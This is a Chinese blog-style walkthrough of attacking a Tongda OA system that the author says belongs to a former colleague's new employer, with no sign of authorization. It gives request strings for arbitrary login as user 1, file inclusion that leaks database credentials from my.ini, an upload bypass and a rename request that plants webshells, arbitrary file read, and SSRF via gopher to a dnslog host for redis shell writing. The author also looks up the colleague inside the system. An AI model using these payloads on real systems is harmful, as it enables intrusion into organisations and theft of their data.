一次失败的通达oa测试

前言:本人水平有限,文笔较差,如果有什么写的不对的地方还希望大家能够不吝赐教

背景:搞实施的同事离职了,去了一家新的公司,和他聊天中发现他新公司用的OA系统是通达的,于是进行了一波测试。
image
由于之前只是知道通达的OA爆了不少洞,但是没有复现过,所以决定试试……

漏洞一:任意用户登录

首先访问一次 /ispirit/login_code.php 获得codeuid,复制这个值,待会用:

image
然后URL改为/logincheck_code.php 构造如下poc:CODEUID=PC{上面获得的codeuid}&UID=1
image
拼接页面中回显的path成功登入OA:
image
在系统管理栏目里查看系统信息:
image
顺手查一下前同事的名字:
image

漏洞二:任意文件上传+文件包含

  文件包含以下默认路径的my.ini成功读出数据库相关信息

image

构造poc上传,打印test字符串
Poc的构造需要满足四个条件: P非空、DEST_UID非空且为数字、
UPLOAD_MODE为1或2或3、ATTACHMENT的filename后缀名不能为php

image
成功回显文件包含成功
image
到这一步的时候,心想着内网在向我召唤,然而发现即使用了加载 COM 组件的形式去bypass还是不能命令执行。

COM组件bypass简介
1. 利用条件:Windows php5.x支持COM组件
2. 基本原理:COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连
接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能
够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的
COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;COM组件可以动态的插入或卸出应用。

image
(尝试了多次因此回显内容和路径对不上)
image
结果多次尝试,还是执行不了命令,没辙了。。。。。。

Ps.还有其他包含文件生成webshell或者包含nginx 日志的可以看看这
https://www.jianshu.com/p/0ec92c012e6f

漏洞三:后台文件上传+重命名绕过后缀限制

网上用的V11版本可以通过给管理员自己发送附件上传webshell,但在此次目标中无法给管理员发送附件,如下图,但是有其他方式上传webshell。
image
在资源共享栏目下,选择新建一个共享目录
image
添加文件夹,目录路径可以选择webroot
image
确定后需要权限设置,设置访问权限,管理权限,新建权限,之后就可以在内部资源共享栏目下看到添加的webroot目录了
image
image
image
image
image
随后在根目录上传一个非限制后缀的文件,内容为冰蝎的马
image
之后选择重命名抓包
image

使用如下构造
action=file_rename&DISK_ID=16&URL=&FILE_NAME_OLD=test.txt&FILE_NAME=win2.php
&ATTACHMENT_NAME_POSTFIX=
修改数据包,网页会提示修改失败,但是已经修改成功了

image
image
(注意页数,上传后没仔细看页数,结果找了半天。。。。)
连接冰蝎,意料中的无法命令执行
image
哥斯拉
image
image
在服务器上发现五月份上传的webshell
image
内容如下
image
找个PHP在线执行网站打印一下
image
蚁剑连一下
image
image

漏洞四:任意文件读取+ssrf+redis写shell

/ispirit/im/photo.php?AVATAR_FILE=D:/MYOA/bin/redis.windows.conf&UID=2
任意文件读取:
image
ssrf:
/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=gopher://xxx.dnslog.cn/
image
image
可以使用这个https://github.com/LS95/gopher-redis-auth工具生成shell,


由于涉及到操作数据库,所以此处并未测试

使用 gopher-redis 这个工具简单快速高效 省的手敲那么多条的命令了